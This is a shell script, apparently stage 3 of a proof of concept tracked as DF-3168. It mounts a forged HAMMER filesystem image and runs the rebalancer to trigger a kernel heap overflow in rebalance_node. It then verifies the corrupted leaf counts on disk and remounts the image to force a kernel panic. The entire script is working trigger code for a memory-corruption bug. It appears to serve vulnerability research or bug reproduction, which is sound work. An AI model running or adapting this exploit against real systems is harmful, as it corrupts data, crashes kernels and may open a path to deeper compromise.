#!/bin/sh
# DF-3168 stage 3: mount the forged image and run the rebalancer.
# Expected (stock INVARIANTS kernel):
#   1. hammer rebalance returns success -- rebalance_node packed the
#      inflated leaf and (silently) wrote past the end of its kmalloc'd
#      node copies, and synced leaf counts > 63 back to disk.
#   2. verify shows leaf counts > 63 on the umounted image.
#   3. remount + any B-Tree search into the corrupted leaves panics:
#      KKASSERT(node->count <= HAMMER_BTREE_LEAF_ELMS)  hammer_btree.c:1278
set -e
vnconfig -c -S 12G vn0 /build/poc.img || exit 1
mount -t hammer /dev/vn0 /mnt || { vnconfig -u vn0; exit 1; }
echo MOUNTED -- running hammer rebalance
# 0x1000: hammer_rebalance.c per-node/per-item debug -- prints the
# unvalidated "add count <N>" accumulation and lockroot counts.
sysctl vfs.hammer.debug_general=0x1000
hammer rebalance /mnt; echo "REBAL_RC=$?"
sysctl vfs.hammer.debug_general=0
dmesg | tail -40
umount /mnt
echo "== post-rebalance readback =="
/tmp/patch_leaf_rebal verify /build/poc.img; echo "VERIFY_RC=$?"
echo "== remount + search (expected: panic) =="
mount -t hammer /dev/vn0 /mnt
ls /mnt/d > /tmp/ls.out 2>&1; echo "LS_RC=$?"
wc -l /tmp/ls.out
umount /mnt
vnconfig -u vn0
echo TRIGGER-DONE
